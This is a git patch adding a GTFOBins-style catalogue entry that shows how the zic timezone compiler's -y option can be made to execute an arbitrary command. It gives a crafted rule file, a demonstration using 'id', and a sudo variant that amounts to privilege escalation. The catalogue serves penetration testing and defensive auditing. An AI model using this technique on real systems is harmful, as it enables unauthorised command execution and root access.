From 9d438a06d99615e92418f99e24ddc5b61781044a Mon Sep 17 00:00:00 2001 From: tibotix Date: Thu, 20 Jul 2023 15:18:44 +0200 Subject: [PATCH] Add zic command execution --- _gtfobins/zic.md | 16 ++++++++++++++++ 1 file changed, 16 insertions(+) create mode 100644 _gtfobins/zic.md diff --git a/_gtfobins/zic.md b/_gtfobins/zic.md new file mode 100644 index 0000000..50ea389 --- /dev/null +++ b/_gtfobins/zic.md @@ -0,0 +1,16 @@ +--- +functions: + command: + - description: | + This executes system(''id' 0 'arg2''), and system(''id' 1 'arg2''). + You can also pass negative numbers, so the resulting command would look like system(''id' -1 'arg2''). + - code: | + echo "Rule Jordan 0 1 arg2 Jan lastSun 2 1:00d -" > zicfile + echo "Zone Test 2:00 Jordan CE%sT" >> zicfile + zic -d . -y "id" ./zicfile + sudo: + - code: | + echo "Rule Jordan 0 1 arg2 Jan lastSun 2 1:00d -" > zicfile + echo "Zone Test 2:00 Jordan CE%sT" >> zicfile + zic -d . -y "id" ./zicfile +---